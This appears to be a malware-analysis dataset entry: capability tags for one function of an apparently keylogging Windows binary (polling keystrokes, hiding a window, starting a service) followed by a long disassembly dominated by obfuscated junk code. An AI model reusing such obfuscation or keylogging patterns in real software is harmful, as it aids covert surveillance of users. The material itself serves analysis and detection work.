Function at 0x4619ba
Capabilities:
Check os version
Create directory
Get common file path
Get disk information
Get keyboard layout
Hide graphical window
Identify system language via api
Log keystrokes via polling
Query or enumerate registry key
Start service
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3834
call fcn.00498bf0
push esi
push edi
mov dword [ebp - 0x81c], 0x15252cb1
mov dword [ebp - 0x518], 0
jmp 0x4619ec
mov eax, dword [ebp - 0x518]
inc eax
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 3
jge 0x461a08
mov eax, dword [ebp - 0x518]
mov dword [ebp + eax*4 - 0x37c4], 1
jmp 0x4619df
mov byte [ebp - 0x311], 0
movzx eax, byte [ebp - 0x311]
test eax, eax
je 0x461a33
push 0x7aa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
mov dword [ebp - 0x81c], 2
jmp 0x461a4c
mov eax, dword [ebp - 0x81c]
dec eax
mov dword [ebp - 0x81c], eax
cmp dword [ebp - 0x81c], 0
jl 0x461a8e
mov byte [ebp - 0x2a5], 0
movzx eax, byte [ebp - 0x2a5]
test eax, eax
je 0x461a6d
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov byte [ebp - 0x2a7], 0
movzx eax, byte [ebp - 0x2a7]
test eax, eax
je 0x461a8c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
jmp 0x461a3f
mov dword [ebp - 0x2c0], 6
mov dword [ebp - 0x1ef8], 0
mov dword [ebp - 0x1f08], 0xe0fc36fe
push 3
lea ecx, [ebp - 0x2090]
call fcn.0042dd3a
mov dword [ebp - 0x1f7c], 0xcefbde28
push 4
lea ecx, [ebp - 0x2a7c]
call fcn.0042dd3a
mov dword [ebp - 0x2214], 0xf16de6ea
mov dword [ebp - 0x110], 0
jmp 0x461af3
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 3
jge 0x461b15
push dword [ebp - 0x110]
lea ecx, [ebp - 0x2090]
call fcn.0042de28
mov dword [eax], 2
jmp 0x461ae6
mov dword [ebp - 0x110], 0
jmp 0x461b2e
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 4
jge 0x461b50
push dword [ebp - 0x110]
lea ecx, [ebp - 0x2a7c]
call fcn.0042de28
mov dword [eax], 0xcd1b7e28
jmp 0x461b21
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x2c0], eax
jl 0x461b6a
mov dword [ebp - 0x1748], 1
jmp 0x461b71
and dword [ebp - 0x1748], 0
mov eax, dword [ebp - 0x2c0]
add eax, dword [ebp - 0x1748]
jne 0x461c5d
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x1ef8], eax
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x1ef8], eax
je 0x461ba9
mov dword [ebp - 0x1f00], 1
jmp 0x461bb0
and dword [ebp - 0x1f00], 0
mov eax, dword [ebp - 0x1f00]
mov dword [ebp - 0x1f08], eax
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x1f08], eax
jl 0x461bd6
mov dword [ebp - 0x1f10], 1
jmp 0x461bdd
and dword [ebp - 0x1f10], 0
push 1
lea ecx, [ebp - 0x2090]
call fcn.0042de28
mov ecx, dword [ebp - 0x1f10]
cmp ecx, dword [eax]
jg 0x461c00
mov dword [ebp - 0x1f18], 1
jmp 0x461c07
and dword [ebp - 0x1f18], 0
push 0
lea ecx, [ebp - 0x2090]
call fcn.0042de28
mov ecx, dword [ebp - 0x1f18]
cmp ecx, dword [eax]
jg 0x461c2a
mov dword [ebp - 0x1f74], 1
jmp 0x461c31
and dword [ebp - 0x1f74], 0
mov eax, dword [ebp - 0x1f74]
mov dword [ebp - 0x1f7c], eax
mov esi, dword [ebp - 0x1f7c]
push 1
lea ecx, [ebp - 0x2090]
call fcn.0042de28
cmp esi, dword [eax]
jl 0x461c5d
and dword [ebp - 0x1f84], 0
jmp 0x461c67
mov dword [ebp - 0x1f84], 1
push 1
lea ecx, [ebp - 0x2090]
call fcn.0042de28
mov ecx, dword [ebp - 0x1f84]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x2c0]
jne 0x461c9a
mov eax, 0x172ddb74
test eax, eax
je 0x461c9a
mov dword [ebp - 0x1f8c], 1
jmp 0x461ca1
and dword [ebp - 0x1f8c], 0
mov eax, dword [ebp - 0x1f8c]
add eax, 0x1a6e
cmp eax, 0x3bbb
jne 0x461cbf
mov dword [ebp - 0xb38], 1
jmp 0x461cc6
and dword [ebp - 0xb38], 0
push 3
lea ecx, [ebp - 0x2a7c]
call fcn.0042de28
mov ecx, dword [ebp - 0xb38]
mov dword [eax], ecx
imul esi, dword [ebp - 0xb38], 9
inc esi
inc esi
push 1
lea ecx, [ebp - 0x2090]
call fcn.0042de28
cmp esi, dword [eax]
jg 0x461d01
mov dword [ebp - 0x1f94], 1
jmp 0x461d08
and dword [ebp - 0x1f94], 0
mov eax, dword [ebp - 0x1f94]
mov dword [ebp - 0x2214], eax
lea ecx, [ebp - 0x2a7c]
call fcn.0042de0c
lea ecx, [ebp - 0x2090]
call fcn.0042de0c
mov dword [ebp - 0x238], 0x9ed9ba07
mov dword [ebp - 0x2420], 0x7cccaea0
mov dword [ebp - 0x520], 0
jmp 0x461d57
mov eax, dword [ebp - 0x520]
inc eax
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x520], 3
jge 0x461d73
mov eax, dword [ebp - 0x520]
mov dword [ebp + eax*4 - 0x920], 0xdb34e6d4
jmp 0x461d4a
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x920]
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 2
jge 0x461d9a
mov dword [ebp - 0x1fc4], 1
jmp 0x461da1
and dword [ebp - 0x1fc4], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x920], 0
jne 0x461dfc
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x920], 0x89ff
je 0x461dce
mov dword [ebp - 0x1f9c], 1
jmp 0x461dd5
and dword [ebp - 0x1f9c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x920]
cmp eax, dword [ebp - 0x1f9c]
jg 0x461df3
mov eax, 0xf3cc
test eax, eax
jne 0x461dfc
and dword [ebp - 0x1fa4], 0
jmp 0x461e06
mov dword [ebp - 0x1fa4], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x920]
cmp dword [ebp - 0x1fa4], eax
jle 0x461e26
mov dword [ebp - 0x1fac], 1
jmp 0x461e2d
and dword [ebp - 0x1fac], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x920]
cmp dword [ebp - 0x1fac], eax
jle 0x461e4d
mov dword [ebp - 0x1fb4], 1
jmp 0x461e54
and dword [ebp - 0x1fb4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x920]
add eax, dword [ebp - 0x1fb4]
jne 0x461e76
xor eax, eax
jne 0x461e76
and dword [ebp - 0x1fbc], 0
jmp 0x461e80
mov dword [ebp - 0x1fbc], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x920]
add eax, dword [ebp - 0x1fbc]
push 4
pop ecx
shl ecx, 1
imul eax, dword [ebp + ecx - 0x920]
test eax, eax
je 0x461eb2
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x920], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x920]
cmp dword [ebp + eax - 0x920], ecx
jge 0x461ed8
mov dword [ebp - 0x1fcc], 1
jmp 0x461edf
and dword [ebp - 0x1fcc], 0
mov eax, dword [ebp - 0x1fc4]
cmp eax, dword [ebp - 0x1fcc]
jl 0x461ef9
mov dword [ebp - 0x2418], 1
jmp 0x461f00
and dword [ebp - 0x2418], 0
mov eax, dword [ebp - 0x238]
sub eax, 0xa1c2e56
mov dword [ebp - 0x2420], eax
mov dword [ebp - 0x238], 0
jmp 0x461f2a
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 3
jge 0x461f46
mov eax, dword [ebp - 0x238]
mov dword [ebp + eax*4 - 0x920], 6
jmp 0x461f1d
mov dword [ebp - 0x2430], 0x4ee7d214
mov dword [ebp - 0x724], 0
jmp 0x461f69
mov eax, dword [ebp - 0x724]
inc eax
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x724], 1
jge 0x461f85
mov eax, dword [ebp - 0x724]
mov dword [ebp + eax*4 - 0x528], 1
jmp 0x461f5c
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x528], 0x14
jmp 0x461fb3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x528]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x528], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x528], 0xffffffe5
jge 0x461fdb
mov dword [ebp - 0x2428], 3
mov eax, dword [ebp - 0x2428]
mov dword [ebp - 0x2430], eax
jmp 0x461f98
mov dword [ebp - 0x824], 0x15252cb1
mov dword [ebp - 0x2084], 0xdd1e1e87
mov dword [ebp - 0x2080], 0xdd1e1e87
mov dword [ebp - 0x207c], 0xdd1e1e87
mov dword [ebp - 0x2078], 0xdd1e1e87
mov dword [ebp - 0x414], 0xffffffff
push 2
lea ecx, [ebp - 0x2598]
call fcn.0042dd3a
mov dword [ebp - 0x2448], 0x6717b38e
mov dword [ebp - 0x1bc], 0
jmp 0x462047
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 2
jge 0x462069
push dword [ebp - 0x1bc]
lea ecx, [ebp - 0x2598]
call fcn.0042de28
mov dword [eax], 0x4b5e4957
jmp 0x46203a
mov dword [ebp - 0x1bc], 0
jmp 0x462082
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 3
jge 0x46209e
mov eax, dword [ebp - 0x1bc]
mov dword [ebp + eax*4 - 0x30d0], 7
jmp 0x462075
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2084]
mov dword [ebp - 0x3590], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2084], 0
jne 0x46216a
mov esi, dword [ebp - 0x414]
push 1
lea ecx, [ebp - 0x2598]
call fcn.0042de28
cmp esi, dword [eax]
jne 0x4620e8
mov dword [ebp - 0x1fd4], 1
jmp 0x4620ef
and dword [ebp - 0x1fd4], 0
mov eax, dword [ebp - 0x414]
cmp dword [ebp - 0x1fd4], eax
jl 0x462109
mov dword [ebp - 0x1fdc], 1
jmp 0x462110
and dword [ebp - 0x1fdc], 0
push 1
lea ecx, [ebp - 0x2598]
call fcn.0042de28
mov ecx, dword [ebp - 0x1fdc]
cmp ecx, dword [eax]
jle 0x462143
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2084], 0
je 0x462143
mov dword [ebp - 0x2058], 1
jmp 0x46214a
and dword [ebp - 0x2058], 0
push 1
lea ecx, [ebp - 0x2598]
call fcn.0042de28
mov ecx, dword [ebp - 0x2058]
cmp ecx, dword [eax]
jne 0x46216a
and dword [ebp - 0x2060], 0
jmp 0x462174
mov dword [ebp - 0x2060], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2084]
cmp dword [ebp - 0x2060], eax
jge 0x462195
mov dword [ebp - 0x2068], 1
jmp 0x46219c
and dword [ebp - 0x2068], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2084]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x2084]
cmp eax, dword [ebp - 0x2068]
jne 0x4621ca
mov dword [ebp - 0x2438], 1
jmp 0x4621d1
and dword [ebp - 0x2438], 0
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x3374], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2084]
sub eax, 0xffff
cmp eax, dword [ebp - 0x414]
jg 0x462215
or eax, 0xffffffff
jne 0x462215
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2084], 0
jne 0x462215
and dword [ebp - 0xb40], 0
jmp 0x46221f
mov dword [ebp - 0xb40], 1
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xb40]
mov dword [ebp + eax - 0x30d0], ecx
cmp dword [ebp - 0xb40], 0x2f37fc03
je 0x46224f
mov eax, 0x3d4752e4
test eax, eax
jne 0x46224f
and dword [ebp - 0x2070], 0
jmp 0x462259
mov dword [ebp - 0x2070], 1
cmp dword [ebp - 0x2070], 0xffffffff
jle 0x46226e
mov dword [ebp - 0x2440], 1
jmp 0x462275
and dword [ebp - 0x2440], 0
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x3014], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x30d0]
mov dword [ebp - 0x2448], eax
mov byte [ebp - 0x2a9], 0
movzx eax, byte [ebp - 0x2a9]
test eax, eax
je 0x4622b6
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
lea ecx, [ebp - 0x2598]
call fcn.0042de0c
mov dword [ebp - 0xd0], 0
push 1
lea ecx, [ebp - 0x277c]
call fcn.0042dd3a
mov dword [ebp - 0x33ec], 0x5a258d3b
mov dword [ebp - 0x301c], 0xffffffff
mov dword [ebp - 0x3384], 6
mov dword [ebp - 0x3024], 1
mov dword [ebp - 0x33f4], 2
mov dword [ebp - 0x302c], 1
mov dword [ebp - 0x3394], 0xd625c2a3
mov dword [ebp - 0x2c0c], 0x87e17710
mov dword [ebp - 0x2c14], 0x2e6ba999
mov dword [ebp - 0x2c1c], 0xe131a3a4
mov dword [ebp - 0x2c24], 0
mov dword [ebp - 0xbf8], 0x3a43
mov dword [ebp - 0x118], 0
jmp 0x462369
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 1
jge 0x462388
push dword [ebp - 0x118]
lea ecx, [ebp - 0x277c]
call fcn.0042de28
or dword [eax], 0xffffffff
jmp 0x46235c
mov dword [ebp - 0x118], 0
jmp 0x4623a1
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 2
jge 0x4623bd
mov eax, dword [ebp - 0x118]
mov dword [ebp + eax*4 - 0x37b8], 0x992350c1
jmp 0x462394
mov dword [ebp - 0xd0], 0x1c
jmp 0x4623d6
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0xffffffea
jge 0x462760
mov dword [ebp - 0x378], 7
mov dword [ebp - 0x72c], 0xe74e8003
mov dword [ebp - 0x530], 0x1cf04157
mov dword [ebp - 0x378], 0
jmp 0x46241a
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 6
jge 0x46275b
mov dword [ebp - 0x21c0], 0xe7975358
mov dword [ebp - 0x21bc], 0xe7975358
mov dword [ebp - 0x21b8], 0xe7975358
mov dword [ebp - 0x21b4], 0xe7975358
mov dword [ebp - 0x1aa0], 1
mov dword [ebp - 0xbd8], 0x7f5e1753
mov dword [ebp - 0xbe0], 0x262b096
mov dword [ebp - 0x89c], 0
jmp 0x462486
mov eax, dword [ebp - 0x89c]
inc eax
mov dword [ebp - 0x89c], eax
cmp dword [ebp - 0x89c], 2
jge 0x4624a2
mov eax, dword [ebp - 0x89c]
mov dword [ebp + eax*4 - 0x2c38], 0xde2e510b
jmp 0x462479
xor eax, eax
sub eax, dword [ebp - 0xd0]
je 0x4624b8
mov dword [ebp - 0x1a70], 1
jmp 0x4624bf
and dword [ebp - 0x1a70], 0
cmp dword [ebp - 0x378], 1
je 0x4624d4
mov dword [ebp - 0xb48], 1
jmp 0x4624db
and dword [ebp - 0xb48], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xb48]
mov dword [ebp + eax - 0x21c0], ecx
mov eax, dword [ebp - 0x1a70]
cmp eax, dword [ebp - 0xb48]
jge 0x462508
mov dword [ebp - 0xbc0], 1
jmp 0x46250f
and dword [ebp - 0xbc0], 0
mov eax, dword [ebp - 0xbc0]
mov dword [ebp - 0x72c], eax
cmp dword [ebp - 0x72c], 0
jne 0x46252b
cmp dword [ebp - 0xd0], 0
mov dword [ebp - 0x530], 1
xor eax, eax
jne 0x4625cb
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x21c0]
imul eax, dword [ebp - 0x72c]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x21c0]
jge 0x46256b
mov dword [ebp - 0x1a78], 1
jmp 0x462572
and dword [ebp - 0x1a78], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x1a78], eax
jg 0x46258c
mov dword [ebp - 0x2450], 1
jmp 0x462593
and dword [ebp - 0x2450], 0
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x2c2c], eax
mov dword [ebp - 0x530], 0xfff9
cmp dword [ebp - 0x530], 0
jne 0x4625cb
cmp dword [ebp - 0x530], 0
jne 0x4625cb
push 0xfffffffffffffff9
pop eax
test eax, eax
jne 0x4625cb
and dword [ebp - 0x2458], 0
jmp 0x4625d5
mov dword [ebp - 0x2458], 1
mov eax, dword [ebp - 0x1aa0]
mov dword [ebp - 0x2cc0], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x21c0], 1
je 0x4625fc
mov dword [ebp - 0xbc8], 1
jmp 0x462603
and dword [ebp - 0xbc8], 0
mov eax, dword [ebp - 0xd0]
add eax, dword [ebp - 0xbc8]
cmp dword [ebp - 0xd0], eax
jg 0x462623
mov dword [ebp - 0x1a80], 1
jmp 0x46262a
and dword [ebp - 0x1a80], 0
mov eax, dword [ebp - 0x72c]
cmp dword [ebp - 0x1a80], eax
je 0x462644
mov dword [ebp - 0xbd0], 1
jmp 0x46264b
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0xbd0], eax
jle 0x462665
mov dword [ebp - 0x1a88], 1
jmp 0x46266c
and dword [ebp - 0x1a88], 0
mov eax, dword [ebp - 0x1a88]
mov dword [ebp - 0xbd8], eax
mov esi, dword [ebp - 0xbd8]
push 0
lea ecx, [ebp - 0x277c]
call fcn.0042de28
cmp esi, dword [eax]
jl 0x46269b
mov dword [ebp - 0x1a90], 1
jmp 0x4626a2
and dword [ebp - 0x1a90], 0
mov eax, dword [ebp - 0x1a90]
mov dword [ebp - 0xbe0], eax
mov esi, dword [ebp - 0xbe0]
push 0
lea ecx, [ebp - 0x277c]
call fcn.0042de28
cmp esi, dword [eax]
jg 0x4626d1
mov dword [ebp - 0x1a98], 1
jmp 0x4626d8
and dword [ebp - 0x1a98], 0
cmp dword [ebp - 0x1a98], 0xffffffff
jne 0x4626ed
mov dword [ebp - 0xbe8], 1
jmp 0x4626f4
and dword [ebp - 0xbe8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x21c0]
sub eax, dword [ebp - 0xbe8]
cmp eax, dword [ebp - 0xd0]
jl 0x46271b
mov dword [ebp - 0xbf0], 1
jmp 0x462722
and dword [ebp - 0xbf0], 0
mov eax, dword [ebp - 0x1aa0]
cmp dword [ebp - 0xbf0], eax
jl 0x46273c
mov dword [ebp - 0x1aa8], 1
jmp 0x462743
and dword [ebp - 0x1aa8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1aa8]
mov dword [ebp + eax - 0x2c38], ecx
jmp 0x46240d
jmp 0x4623c9
mov eax, dword [ebp - 0xbf8]
inc eax
mov dword [ebp - 0xbf8], eax
lea ecx, [ebp - 0x277c]
call fcn.0042de0c
mov dword [ebp - 0x538], 0
jmp 0x462791
mov eax, dword [ebp - 0x538]
inc eax
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 3
jge 0x4627ad
mov eax, dword [ebp - 0x538]
mov dword [ebp + eax*4 - 0x380c], 1
jmp 0x462784
mov byte [ebp - 0x2af], 0
mov dword [ebp - 0x2cc8], 0xad6f2ee7
mov byte [ebp - 0x2ab], 0
movzx eax, byte [ebp - 0x2ab]
test eax, eax
je 0x4627d8
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov byte [ebp - 0x2ad], 0
movzx eax, byte [ebp - 0x2ad]
test eax, eax
je 0x462801
push 0x119a
push 0x1702
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
movzx eax, byte [ebp - 0x2af]
test eax, eax
je 0x462b05
mov dword [ebp - 0x2034], 0xdd1e1e87
mov dword [ebp - 0x2030], 0xdd1e1e87
mov dword [ebp - 0x202c], 0xdd1e1e87
mov dword [ebp - 0x2028], 0xdd1e1e87
mov dword [ebp - 0x4bc], 0xffffffff
push 2
lea ecx, [ebp - 0x25a8]
call fcn.0042dd3a
mov dword [ebp - 0x2470], 0x6717b38e
mov dword [ebp - 0x1fc], 0
jmp 0x462872
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 2
jge 0x462894
push dword [ebp - 0x1fc]
lea ecx, [ebp - 0x25a8]
call fcn.0042de28
mov dword [eax], 0x4b5e4957
jmp 0x462865
mov dword [ebp - 0x1fc], 0
jmp 0x4628ad
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 3
jge 0x4628c9
mov eax, dword [ebp - 0x1fc]
mov dword [ebp + eax*4 - 0x30e0], 7
jmp 0x4628a0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2034]
mov dword [ebp - 0x2cd0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2034], 0
jne 0x462995
mov esi, dword [ebp - 0x4bc]
push 1
lea ecx, [ebp - 0x25a8]
call fcn.0042de28
cmp esi, dword [eax]
jne 0x462913
mov dword [ebp - 0x1ab0], 1
jmp 0x46291a
and dword [ebp - 0x1ab0], 0
mov eax, dword [ebp - 0x4bc]
cmp dword [ebp - 0x1ab0], eax
jl 0x462934
mov dword [ebp - 0xc00], 1
jmp 0x46293b
and dword [ebp - 0xc00], 0
push 1
lea ecx, [ebp - 0x25a8]
call fcn.0042de28
mov ecx, dword [ebp - 0xc00]
cmp ecx, dword [eax]
jle 0x46296e
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2034], 0
je 0x46296e
mov dword [ebp - 0x1ab8], 1
jmp 0x462975
and dword [ebp - 0x1ab8], 0
push 1
lea ecx, [ebp - 0x25a8]
call fcn.0042de28
mov ecx, dword [ebp - 0x1ab8]
cmp ecx, dword [eax]
jne 0x462995
and dword [ebp - 0xc08], 0
jmp 0x46299f
mov dword [ebp - 0xc08], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2034]
cmp dword [ebp - 0xc08], eax
jge 0x4629c0
mov dword [ebp - 0x1ac0], 1
jmp 0x4629c7
and dword [ebp - 0x1ac0], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2034]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x2034]
cmp eax, dword [ebp - 0x1ac0]
jne 0x4629f5
mov dword [ebp - 0x2460], 1
jmp 0x4629fc
and dword [ebp - 0x2460], 0
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x2cd8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2034]
sub eax, 0xffff
cmp eax, dword [ebp - 0x4bc]
jg 0x462a40
or eax, 0xffffffff
jne 0x462a40
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2034], 0
jne 0x462a40
and dword [ebp - 0xb7c], 0
jmp 0x462a4a
mov dword [ebp - 0xb7c], 1
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xb7c]
mov dword [ebp + eax - 0x30e0], ecx
cmp dword [ebp - 0xb7c], 0x2f37fc03
je 0x462a7a
mov eax, 0x3d4752e4
test eax, eax
jne 0x462a7a
and dword [ebp - 0xc10], 0
jmp 0x462a84
mov dword [ebp - 0xc10], 1
cmp dword [ebp - 0xc10], 0xffffffff
jle 0x462a99
mov dword [ebp - 0x2468], 1
jmp 0x462aa0
and dword [ebp - 0x2468], 0
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x2ce0], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x30e0]
mov dword [ebp - 0x2470], eax
mov byte [ebp - 0x2b1], 0
movzx eax, byte [ebp - 0x2b1]
test eax, eax
je 0x462ae1
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
lea ecx, [ebp - 0x25a8]
call fcn.0042de0c
push 0x7aa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
mov dword [ebp - 0x2ce8], 0x3a4a
mov dword [ebp - 0x2cf0], 0
mov dword [ebp - 0x2cf8], 1
mov dword [ebp - 0x2d00], 0xfffffff9
mov dword [ebp - 0x2d08], 8
push 1
lea ecx, [ebp - 0x2b78]
call fcn.0042dd3a
mov dword [ebp - 0x120], 0
jmp 0x462b5d
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 1
jge 0x462b7f
push dword [ebp - 0x120]
lea ecx, [ebp - 0x2b78]
call fcn.0042de28
mov dword [eax], 0xfffffff7
jmp 0x462b50
mov dword [ebp - 0x120], 0
jmp 0x462b98
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 2
jge 0x462bb4
mov eax, dword [ebp - 0x120]
mov dword [ebp + eax*4 - 0x37a8], 1
jmp 0x462b8b
push 0
lea ecx, [ebp - 0x2b78]
call fcn.0042de28
mov dword [ebp - 0x1ac8], eax
mov eax, dword [ebp - 0x1ac8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1ac8]
mov dword [ecx], eax
lea ecx, [ebp - 0x2b78]
call fcn.0042de0c
mov dword [ebp - 0x824], 2
jmp 0x462bfc
mov eax, dword [ebp - 0x824]
dec eax
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x824], 0
jl 0x463bc7
mov dword [ebp - 0x41c], 0x86e5
mov dword [ebp - 0x734], 0x75d5f8d9
mov dword [ebp - 0xb78], 0x752570e
mov dword [ebp - 0x2480], 0
mov dword [ebp - 0x540], 0
jmp 0x462c4a
mov eax, dword [ebp - 0x540]
inc eax
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 4
jge 0x462c66
mov eax, dword [ebp - 0x540]
mov dword [ebp + eax*4 - 0x36d0], 0x6c715341
jmp 0x462c3d
mov eax, dword [ebp - 0x41c]
neg eax
sub eax, dword [ebp - 0x41c]
cmp eax, dword [ebp - 0x734]
jl 0x462c88
mov dword [ebp - 0x2478], 1
jmp 0x462c8f
and dword [ebp - 0x2478], 0
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0x2d10], eax
cmp dword [ebp - 0x734], 0xf746e33
jne 0x462cb3
mov dword [ebp - 0xc18], 1
jmp 0x462cba
and dword [ebp - 0xc18], 0
mov eax, dword [ebp - 0x41c]
cmp eax, dword [ebp - 0xc18]
jle 0x462cd4
mov dword [ebp - 0x1ad0], 1
jmp 0x462cdb
and dword [ebp - 0x1ad0], 0
cmp dword [ebp - 0x1ad0], 0xcc099a56
jbe 0x462cf3
mov dword [ebp - 0xc20], 1
jmp 0x462cfa
and dword [ebp - 0xc20], 0
cmp dword [ebp - 0xc20], 0xb9db
jge 0x462d12
mov dword [ebp - 0x1ad8], 1
jmp 0x462d19
and dword [ebp - 0x1ad8], 0
imul eax, dword [ebp - 0x1ad8], 0x3485
imul eax, eax, 3
cmp eax, 0x487223b1
je 0x462d39
mov dword [ebp - 0xc28], 1
jmp 0x462d40
and dword [ebp - 0xc28], 0
mov eax, dword [ebp - 0x41c]
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0x36d0]
imul ecx, dword [ebp - 0xc28]
sub eax, ecx
cmp eax, dword [ebp - 0xb78]
jl 0x462d70
mov dword [ebp - 0x1ae0], 1
jmp 0x462d77
and dword [ebp - 0x1ae0], 0
mov eax, dword [ebp - 0x1ae0]
mov dword [ebp - 0xb78], eax
mov eax, dword [ebp - 0xb78]
mov dword [ebp - 0x2d18], eax
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0x2d20], eax
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0x2480], eax
mov byte [ebp - 0x2b3], 0
movzx eax, byte [ebp - 0x2b3]
test eax, eax
je 0x462dc3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 0x974], 0x8a6b
push 2
lea ecx, [ebp - 0x2a94]
call fcn.0042dd3a
mov dword [ebp - 0xa74], 9
mov dword [ebp - 0xb4c], 0x457d6700
mov dword [ebp - 0x97c], 0x86524f20
